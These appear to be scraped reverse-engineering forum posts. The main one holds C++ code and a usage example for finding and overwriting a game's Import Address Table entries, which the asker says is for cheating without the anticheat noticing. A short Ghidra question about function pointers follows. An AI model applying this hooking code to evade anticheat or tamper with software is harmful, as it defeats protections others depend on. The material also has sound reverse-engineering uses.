//return NULL; } unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1) { HMODULE mhLoadedDLL = NULL; do { if (!DLL) mhLoadedDLL = GetModuleHandle(NULL); else mhLoadedDLL = GetModuleHandle(DLL); Sleep(100); } while (!mhLoadedDLL); MODULEINFO modinfo; GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &amp;modinfo, sizeof(MODULEINFO)); DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage; PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL; PIMAGE_NT_HEADERS NtHeader; PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor; UINT Index = 0; NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader-&gt;e_lfanew); if (NtHeader-&gt;Signature != IMAGE_NT_SIGNATURE) return 0; ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); if (mhLoadedDLL) { ULONG Sz; ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &amp;Sz, nullptr); } __try { // // Iterate over import descriptors/DLLs. // for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) { PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name); if (_strcmpi(dllName, Library) == 0) { // This the DLL we are after. PIMAGE_THUNK_DATA Thunk; PIMAGE_THUNK_DATA OrigThunk; Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk); OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk); //Reset Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk); OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk); for (; OrigThunk-&gt;u1.Function != NULL; OrigThunk++, Thunk++) { if (ordinal != -1) { if ((OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) &amp;&amp; IMAGE_ORDINAL(OrigThunk-&gt;u1.Ordinal) == ordinal) //send ordinal return (DWORD)Thunk; //Address of import returns. } if (OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it. continue; } PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk-&gt;u1.AddressOfData); if (_strcmpi(Import, (char*)importt-&gt;Name) == 0) { return (DWORD)Thunk; //Address of import returns. } } unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL; DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import); //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation. if (gs_ModuleList.size() == 0) { BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess()); if (!bRet) { printf("Failed to get Modules\n"); return 0; } } DWORD dwMaxIATImageSize = 0x70000000; if (gs_ModuleList.size() &gt; 0) { auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info&amp; l, const IAT_Module_Info&amp; h) { return l.ImageBase &lt; h.ImageBase; }); if (max_it-&gt;ImageBase &gt; 0) dwMaxIATImageSize = (DWORD)max_it-&gt;ImageBase + max_it-&gt;ImageSize; printf("Highest Imported DLL = %X %s\n", max_it-&gt;ImageBase, max_it-&gt;DllName); } //now we do more, retrieve the Page where IAT in DWORD ptrIATEnd = NULL; DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader-&gt;OptionalHeader.ImageBase, dwMaxIATImageSize, &amp;ptrIATEnd); printf("Rebuilding IAT,Found IAT in page %X, IAT End %X\n", ptrIAT, ptrIATEnd); if(listOfIATImports.size() == 0) FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize); if (listOfIATImports.size() &gt; 0) { auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information&amp; s) { return _strcmpi(s.IATModuleName, Library) == 0 &amp;&amp; _strcmpi(s.IATFunctionName, Import) == 0; }); if (match != listOfIATImports.cend()) { printf("Found IAT = %X, %s %s\n", match-&gt;IATAddress, match-&gt;IATModuleName, match-&gt;IATFunctionName); } std::list&lt;IAT_Import_Information&gt;::iterator i; for (i = listOfIATImports.begin(); i != listOfIATImports.end(); i++) { printf("Module: %s Import: %s Address: %X\n", i-&gt;IATModuleName, i-&gt;IATFunctionName, i-&gt;IATAddress); } } else { printf("Couldn't find module %s, import %s\n", Library, Import); } } } } __except (1) { printf("Exception hit parsing imports\n"); } return 0; } </code></pre> <p>Another include which is needed is <code>x86_instruction_length.h</code> can <a href="https://pastebin.com/raw/YMSxjPvL" rel="nofollow noreferrer">https://pastebin.com/raw/YMSxjPvL</a></p> <p>Usage:</p> <pre><code>DWORD GetTickCountx = Get_Import_Address(NULL, "kernel32.dll", "GetTickCount"); if(GetTickCountx) { if (!VirtualProtect((LPVOID)GetTickCountx , 4, new_rights, &amp;old_rights)) return 0; *(DWORD*)(GetTickCountx) = (DWORD)(NewTickCount); VirtualProtect((LPVOID)GetTickCountx , 4, old_rights, &amp;new_rights); } </code></pre> <p><br> <a href="https://github.com/fatrolls/IAT-Imports-Finder" rel="nofollow noreferrer">https://github.com/fatrolls/IAT-Imports-Finder</a></p>
25294
2020-06-14T03:44:33.140
<p>I want to implement a full blown import reconstructor into my app without any external dll's or Shell Executes to EXEs. I want to just have the ability to get IAT Import addresses to certain imported DLL's by name or Ordinal. So I can easily patch the IAT to do hacks. At the moment I do this all by hand and have to rely on updating the IAT addresses for every function I am hooking I want this to be automatic by putting in dll name and dll import name and get the import addresses. If I hook using anything other then IAT.. like <code>(DWORD)GetProcAddress("dllname", "import name");</code> it will be detected because it's hooking inside of a DLL that's outside the main game.. even though the anticheat also cares about editing the CODE of the Game itself same as it does for DLL's it doesn't seem to care about memory edits which is what IAT hooking does.</p> <p>I tried a bunch of solutions such as <code>PE-Sieve</code> and <code>libpeconv</code> both don't handle packed IAT's..</p> <p>I was going to make my own Auto Import Scanner.. but its too much work.. i need to first find a small x86 disasm and opcode length counter then I could loop the whole game EXE and scan for absolute addresses and double check them with <code>*(DWORD*)</code> against <code>(DWORD)GetProcAddress("dllname", "import name");</code> if any of the addresses match then I found my IAT addresses.</p> <pre><code>– 8B0D MOV ECX,[ADDRESS] – 8B15 MOV EDX,[ADDRESS] – 8B1D MOV EBX,[ADDRESS] – 8B25 MOV ESP,[ADDRESS] – 8B2D MOV EBP,[ADDRESS] – 8B35 MOV ESI,[ADDRESS] – 8B3D MOV EDI,[ADDRESS] – A1 MOV EAX,[ADDRESS] - FF15 CALL [ADDRESS] – FF25 JMP [ADDRESS] – FF35 PUSH [ADDRESS] </code></pre> <p>Anyone got a code that already do this? or anything similar to this.. i would really appreciate it.</p> <p>Here is what I got so far.. it kinda works gets 80-85% of all imports.. but the ones that are double jumped and some with crap instructions that needs a re-pass I'm still working on that anyone got these patterns complete?</p> <pre><code>#define ResolveRVA(base,rva) (( (uint8_t*)base) +rva) #define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva) BOOL SnapShotModules(DWORD dwPID) { BOOL bRet = TRUE; // Get all modules for this process: std::vector&lt;HMODULE&gt; hModules; const HMODULE hSelf = GetModuleHandle(NULL); { DWORD nModules; EnumProcessModules(GetCurrentProcess(), NULL, 0, &amp;nModules); hModules.resize(nModules); EnumProcessModules(GetCurrentProcess(), &amp;hModules[0], nModules, &amp;nModules); } if (!hSelf) { printf("Invalid Process Handle\n"); return FALSE; } gs_ModuleList.clear(); IAT_Module_Info modulefullInfo = { 0 }; MODULEINFO modinfo = { 0 }; char moduleName[256] = { 0 }; char moduleFileName[1000] = { 0 }; char myProcessFilePath[1000] = { 0 }; GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000); LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath); for (auto hModule : hModules) { if (hModule == hSelf) continue; GetModuleInformation(GetCurrentProcess(), hModule, &amp;modinfo, sizeof(modinfo)); GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char)); GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char)); if (_strcmpi(moduleName, MyProcessFileName) == 0) continue; strcpy(modulefullInfo.DllName, moduleName); modulefullInfo.ImageSize = modinfo.SizeOfImage; modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll; modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint; strcpy(modulefullInfo.DllFileName, moduleFileName); gs_ModuleList.push_back(modulefullInfo); } return TRUE; } /************************************************************************/ /* Function : Retrieve API info by its addr and the module it belongs to Params : pBuf points to the image mapped to our space*/ /************************************************************************/ void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL) { //try to load the dll into our space HMODULE hDll = NULL; if(iat_module_info) hDll = LoadLibrary(iat_module_info-&gt;DllFileName); if (NULL == hDll) return; //now ask for info from Export PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll; PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR-&gt;e_lfanew); if (pNTHDR-&gt;OptionalHeader.NumberOfRvaAndSizes &lt; IMAGE_DIRECTORY_ENTRY_EXPORT + 1) return; PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY) ((BYTE *)pDOSHDR + pNTHDR-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); DWORD dwFunctions = pExpDIR-&gt;NumberOfFunctions; DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfFunctions); DWORD i = 0; //get index by address for (i = 0; i &lt; dwFunctions; i++) { if (ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated) break; if (!ptrAPIObfuscated &amp;&amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI) break; } //not match if (i == dwFunctions) return; //get name and ordinal DWORD dwNames = pExpDIR-&gt;NumberOfNames; DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNames); WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR-&gt;AddressOfNameOrdinals); DWORD j = 0; char *pszName = NULL; SIZE_T nLen = 0; for (j = 0; j &lt; dwNames; j++) { if (pNameOrd[j] == i) { pszName = (char *)pDOSHDR + pNames[j]; nLen = strlen(pszName); /*printf("%X\t%04X\t%s\n", *(DWORD *)ptrAPI, j, pszName );*/ //Save information IAT_Import_Information iat_found = { 0 }; iat_found.IATAddress = ptrAPI; strcpy(iat_found.IATFunctionName, pszName); strcpy(iat_found.IATModuleName, iat_module_info-&gt;DllName); listOfIATImports.push_back(iat_found); if(ptrAPIObfuscated) printf("Added Obfuscated %X %X, %s -&gt; %s\n", ptrAPI, ptrAPIObfuscated, iat_module_info-&gt;DllName, pszName); else printf("Added %X %X, %s -&gt; %s\n", ptrAPI, *(DWORD*)ptrAPI, iat_module_info-&gt;DllName, pszName); } } } /************************************************************************/ /* Function : rebuild Import Info according to IAT Params : ptrIAT point to the page where IAT in ppBuf [IN/OUT] is the memory space for the exe, may be updated dwImageSize is the exe's image size */ /************************************************************************/ void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize) { if (gs_ModuleList.size() == 0) { printf("No Modules loaded, can't fix anything\n"); return; } //now verify every DWORD item is a valid FuncPtr with some dll. //we need to snapshot the process. std::list&lt;IAT_Module_Info&gt;::iterator it; IAT_Module_Info iat_module_info; printf("ptrIAT = %X ptrIATEnd = %X\n", ptrIAT, ptrIATEnd); DWORD ptrIndex = ptrIAT; DWORD dwModBase = NULL; //???????????? DWORD dwModSize = NULL; DWORD dwModHit = NULL; while (TRUE) { //thz should always continue, even if BadPtr or invalid funcptr if (ptrIndex &lt;= ptrIATEnd &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))) { ptrIndex += sizeof(DWORD); continue; } //now we may end, be careful if (ptrIndex &gt; ptrIATEnd &amp;&amp; (NULL == *(DWORD*)ptrIndex) &amp;&amp; (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD)))) { break; } if (ptrIndex &gt; ptrIATEnd &amp;&amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)) ) { ptrIndex += sizeof(DWORD); continue; } ////////////////////////////////////////////////////////////////////////// //whether in a module range dwModHit = NULL; //?????????? if (*(DWORD *)ptrIndex &gt;= dwModBase &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize) { dwModHit = dwModBase; } //have to loop every module if (dwModHit == NULL) { for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++) { iat_module_info = *it; dwModBase = (DWORD)iat_module_info.ImageBase; dwModSize = (DWORD)iat_module_info.ImageSize; if (*(DWORD *)ptrIndex &gt;= dwModBase &amp;&amp; *(DWORD *)ptrIndex &lt; dwModBase + dwModSize) { //printf("ptrIndex %X %X, Mod: %X, Size: %X\n", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize); //printf("Module: %s\n", iat_module_info.DllName); break; } memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info)); }//end for( }//end if(NULL == if (iat_module_info.ImageBase == 0 &amp;&amp; iat_module_info.ImageSize == 0) { bool passDone = false; DWORD deObfuscatedAddress = *(DWORD*)ptrIndex; retryPass: printf("%X %X\n", (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress); if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5; else if (*(BYTE*)deObfuscatedAddress == 0x68) { //PUSH printf("PUSH = %X %X\n", deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1)); deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1); } else if ((BYTE)deObfuscatedAddress == 0xC0) { //shl (invalid opcode) printf("invalid = %X %X %X\n", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress); deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex)); printf("invalid = %X %X %X\n", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress); passDone = true; goto retryPass; } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode) printf("invalid = %X %X %X\n", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress); deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex)); printf("invalid = %X %X %X\n", ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress); passDone = true; goto retryPass; } else { if (passDone) goto continueGo; printf("b unknown deob %X %X %X %X\n", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress); deObfuscatedAddress += insn_len((void*)deObfuscatedAddress); printf("a unknown deob %X %X %X %X\n", ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress); passDone = true; goto retryPass; } continueGo: for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++) { iat_module_info = *it; dwModBase = (DWORD)iat_module_info.ImageBase; dwModSize = (DWORD)iat_module_info.ImageSize; if (deObfuscatedAddress &gt;= dwModBase &amp;&amp; deObfuscatedAddress &lt; dwModBase + dwModSize) { //printf("ptrIndex %X %X, Mod: %X, Size: %X\n", deObfuscatedAddress, ptrIndex, dwModBase, dwModSize); //printf("Module: %s\n", iat_module_info.DllName); break; } memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info)); } GetAPIInfo(ptrIndex, &amp;iat_module_info, deObfuscatedAddress); ptrIndex += sizeof(DWORD); memset(&amp;iat_module_info, 0, sizeof(IAT_Module_Info)); continue; } //now *ptrIndex in dwModBase //now retrieve API info (Hint, name) from the module's export //printf("ptrIndex %X %X, Mod: %X, Size: %X\n", *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize); GetAPIInfo(ptrIndex, &amp;iat_module_info); ptrIndex += sizeof(DWORD); } } /************************************************************************/ /* Function : Get AddressOfEntryPoint (or Original Entry Point) Params : lpAddr is the Base where the exe mapped into Return : OEP (RVA) */ /************************************************************************/ DWORD GetOEP(LPVOID lpAddr) { PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr; PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR-&gt;e_lfanew); return pNTHDR-&gt;OptionalHeader.AddressOfEntryPoint; } /************************************************************************/ /* Function : Retrieve a process's Import Info only by IAT Param : lpAddr is the address the exe mapped into (within our space) ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY) Return : the beginning of the page where IAT in Search for FF25 XXXX, or FF15 yyyy HelloWorld.exe 004001E0 &gt; . EA07D577 DD USER32.MessageBoxA 004001E4 00000000 DD 00000000 004001E8 &gt;/$ 6A 00 PUSH 0 ; /Style = MB_OK|MB_APPLMODAL 004001EA |. 6A 00 PUSH 0 ; |Title = NULL 004001EC |. 6A 00 PUSH 0 ; |Text = NULL 004001EE |. 6A 00 PUSH 0 ; |hOwner = NULL 004001F0 |. E8 01000000 CALL &lt;JMP.&amp;USER32.MessageBoxA&gt; ; \MessageBoxA 004001F5 \. C3 RETN 004001F6 $- FF25 E0014000 JMP DWORD PTR DS:[&lt;&amp;USER32.MessageBoxA&gt;] ; USER32.MessageBoxA Notepad.exe 0100740B . FF15 38130001 CALL DWORD PTR DS:[&lt;&amp;msvcrt.__set_app_ty&gt;; msvcrt.__set_app_type MSPaint.exe 1000CA65 8B35 58D10110 MOV ESI,DWORD PTR DS:[&lt;&amp;KERNEL32.LCMapSt&gt;; kernel32.LCMapStringW */ /************************************************************************/ /* Need to check all of these – 8B0D MOV ECX,[ADDRESS] – 8B15 MOV EDX,[ADDRESS] – 8B1D MOV EBX,[ADDRESS] – 8B25 MOV ESP,[ADDRESS] – 8B2D MOV EBP,[ADDRESS] – 8B35 MOV ESI,[ADDRESS] – 8B3D MOV EDI,[ADDRESS] – A1 MOV EAX,[ADDRESS] - FF15 CALL [ADDRESS] – FF25 JMP [ADDRESS] – FF35 PUSH [ADDRESS] */ DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd) { DWORD pImageSectionStart = 0; DWORD instruction_length; DWORD *ptrFuncAddr = NULL; //like xxx in JMP DWORD PTR DS:[XXXX] DWORD ptrFuncAddrHighest = NULL; DWORD dwOEP = NULL; BYTE *pCode = NULL; DWORD i = NULL; WORD wJMP = 0x25FF; WORD wCALL = 0x15FF; dwOEP = GetOEP(lpAddr); i = dwOEP; pCode = (BYTE *)((BYTE *)lpAddr + dwOEP); // get the location of the module's IMAGE_NT_HEADERS structure IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr); // section table immediately follows the IMAGE_NT_HEADERS IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1); bool got = false; for (int scn = 0; scn &lt; pNtHdr-&gt;FileHeader.NumberOfSections; ++scn) { char *name = (char*)pSectionHdr-&gt;Name; DWORD SectionStart = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress; DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr-&gt;VirtualAddress + pSectionHdr-&gt;Misc.VirtualSize - 1; if (got) { pImageSectionStart = SectionStart; break; } if (SectionStart == pImageBase + dwOEP &amp;&amp; SectionEnd &lt; dwImageSize) { got = true; //next one is imports. ++pSectionHdr; continue; } ++pSectionHdr; } if (!pImageSectionStart) pImageSectionStart = dwImageSize; printf("Found OEP at %X, ImageSize = %X,%X\n", dwOEP, dwImageSize, pImageSectionStart); //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine //but we just do it simply while (i &lt; pImageSectionStart) { if (memcmp(pCode, &amp;wJMP, sizeof(WORD)) &amp;&amp; memcmp(pCode, &amp;wCALL, sizeof(WORD))) { // instruction_length = insn_len(pCode); pCode += instruction_length; i += instruction_length; continue; } //check illegal, *ptrFuncAddr &gt; pImageBase &amp;&amp; *ptrFuncAddr &lt;= pImageBase + dwImageSize ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD)); if (*ptrFuncAddr &lt; (DWORD)pImageBase || *ptrFuncAddr &gt;= (DWORD)pImageBase + dwImageSize) { instruction_length = insn_len(pCode); pCode += instruction_length; i += instruction_length; continue; } //need to fix relocation *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase; //now found one item that may belongs to IAT ptrFuncAddr = (DWORD *)*ptrFuncAddr; if ((DWORD)ptrFuncAddr &gt; ptrFuncAddrHighest) { ptrFuncAddrHighest = (DWORD)ptrFuncAddr; printf("highest = %X\n", ptrFuncAddrHighest); } //recheck illegal, //for system dlls, what about user dlls? well, whatever, there must be system dlls //what if we found IAT for system dlls, so we found the user dlls. //What if the IAT tables are not continous???????? if (*ptrFuncAddr &lt; dwMaxIATImageSize) { instruction_length = insn_len(pCode); pCode += instruction_length; i += instruction_length; continue; } break; } //now it seems ptrFuncAddr points some item in IAT, //make ptrFuncAddr point to the beginning of the page //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary *ptrIATEnd = (DWORD)ptrFuncAddrHighest; ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr &amp; 0xFFFFF000) + ((DWORD)lpAddr &amp; 0x0FFF) ); return (DWORD)ptrFuncAddr; //return NULL; } unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1) { HMODULE mhLoadedDLL = NULL; do { if (!DLL) mhLoadedDLL = GetModuleHandle(NULL); else mhLoadedDLL = GetModuleHandle(DLL); Sleep(100); } while (!mhLoadedDLL); MODULEINFO modinfo; GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &amp;modinfo, sizeof(MODULEINFO)); DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage; PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL; PIMAGE_NT_HEADERS NtHeader; PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor; UINT Index = 0; NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader-&gt;e_lfanew); if (NtHeader-&gt;Signature != IMAGE_NT_SIGNATURE) return 0; ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); if (mhLoadedDLL) { ULONG Sz; ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &amp;Sz, nullptr); } __try { // // Iterate over import descriptors/DLLs. // for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) { PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name); if (_strcmpi(dllName, Library) == 0) { // This the DLL we are after. PIMAGE_THUNK_DATA Thunk; PIMAGE_THUNK_DATA OrigThunk; Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk); OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk); //Reset Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk); OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk); for (; OrigThunk-&gt;u1.Function != NULL; OrigThunk++, Thunk++) { if (ordinal != -1) { if ((OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) &amp;&amp; IMAGE_ORDINAL(OrigThunk-&gt;u1.Ordinal) == ordinal) //send ordinal return (DWORD)Thunk; //Address of import returns. } if (OrigThunk-&gt;u1.Ordinal &amp; IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it. continue; } PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk-&gt;u1.AddressOfData); if (_strcmpi(Import, (char*)importt-&gt;Name) == 0) { return (DWORD)Thunk; //Address of import returns. } } unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL; DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import); //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation. if (gs_ModuleList.size() == 0) { BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess()); if (!bRet) { printf("Failed to get Modules\n"); return 0; } } DWORD dwMaxIATImageSize = 0x70000000; if (gs_ModuleList.size() &gt; 0) { auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info&amp; l, const IAT_Module_Info&amp; h) { return l.ImageBase &lt; h.ImageBase; }); if (max_it-&gt;ImageBase &gt; 0) dwMaxIATImageSize = (DWORD)max_it-&gt;ImageBase + max_it-&gt;ImageSize; printf("Highest Imported DLL = %X %s\n", max_it-&gt;ImageBase, max_it-&gt;DllName); } //now we do more, retrieve the Page where IAT in DWORD ptrIATEnd = NULL; DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader-&gt;OptionalHeader.ImageBase, dwMaxIATImageSize, &amp;ptrIATEnd); printf("Rebuilding IAT,Found IAT in page %X, IAT End %X\n", ptrIAT, ptrIATEnd); if(listOfIATImports.size() == 0) FixImport((DWORD)GetCurrentProcess(), ptrIAT, ptrIATEnd, ModuleSize); if (listOfIATImports.size() &gt; 0) { auto match = std::find_if(listOfIATImports.cbegin(), listOfIATImports.cend(), [Library, Import](const IAT_Import_Information&amp; s) { return _strcmpi(s.IATModuleName, Library) == 0 &amp;&amp; _strcmpi(s.IATFunctionName, Import) == 0; }); if (match != listOfIATImports.cend()) { printf("Found IAT = %X, %s %s\n", match-&gt;IATAddress, match-&gt;IATModuleName, match-&gt;IATFunctionName); } std::list&lt;IAT_Import_Information&gt;::iterator i; for (i = listOfIATImports.begin(); i != listOfIATImports.end(); i++) { printf("Module: %s Import: %s Address: %X\n", i-&gt;IATModuleName, i-&gt;IATFunctionName, i-&gt;IATAddress); } } else { printf("Couldn't find module %s, import %s\n", Library, Import); } } } } __except (1) { printf("Exception hit parsing imports\n"); } return 0; } </code></pre>
Import Reconstruction in runtime library? any open source ones or any import reconstructors source codes?
|iat|import-reconstruction|
<p>There was a function rabbit-hole that I was following in Ghidra that had the <code>(**(code **))</code> as well.</p> <p>I cross-examined that section in x64dbg and stepped-over the execution and monitored the EAX register to see the result of <code>return uVar3;</code> or <code>return *(undefined4 *)(iVar2 + 0x2c);</code></p> <p>The result of this (**(code **)) function was a function pointer (0x040E2B98) which contained a function pointer (0x03DE2D10) which contained a function pointer (0x03B2802B) which FINALLY was an actual function that began with <code>push esi</code>.</p> <p>Thus, the answer to this question is...</p> <p><em><strong><code>(code *)</code> is the same as <code>(void *)</code><br /> aka - function pointer<br /> aka - the address location of the beginning of a function<br /> aka - read this <a href="https://docs.microsoft.com/en-us/cpp/cpp/void-cpp?view=msvc-170" rel="nofollow noreferrer">MSDN VOID PTR DOCUMENTATION</a></strong></em></p> <pre><code>... if ((iVar2 != 0) &amp;&amp; (*(int *)(iVar2 + 0x40) != 0)) { uVar3 = (**(code **)(*(int *)(*(int *)(iVar2 + 0x40) + 0x28) + 0xc70))(); return uVar3; } iVar2 = FUN_03b03811(); if (iVar2 == 0) { return 0; } return *(undefined4 *)(iVar2 + 0x2c); </code></pre>
25297
2020-06-14T22:42:11.173
<p>I'm reversing a binary and I found this strange keyword I haven't seen before called 'code'. I looked up the C++ keywords and there doesn't seem to be one. Could anyone provide me with more information about this keyword?</p> <pre><code> if (*(int *)(param_1 + 4) != 0) { (*(code *)(&amp;PTR_thunk_FUN_005a7840_008dd8b8)[(int)param_2[4]])(*(int *)(param_1 + 4)); } </code></pre> <p>In Assembly.</p> <pre><code>00491b95 85 c0 TEST EAX ,EAX 00491b97 74 10 JZ LAB_00491ba9 00491b99 8b 4e 10 MOV ECX ,dword ptr [ESI + 0x10 ] 00491b9c 8b 14 8d MOV EDX ,dword ptr [ECX *0x4 + -&gt; thunk_FUN_005a7840 ] = 00401c30 b8 d8 8d 00 00491ba3 50 PUSH EAX 00491ba4 ff d2 CALL EDX </code></pre>
What does the code keyword in Ghidra mean?
|ghidra|decompiler|
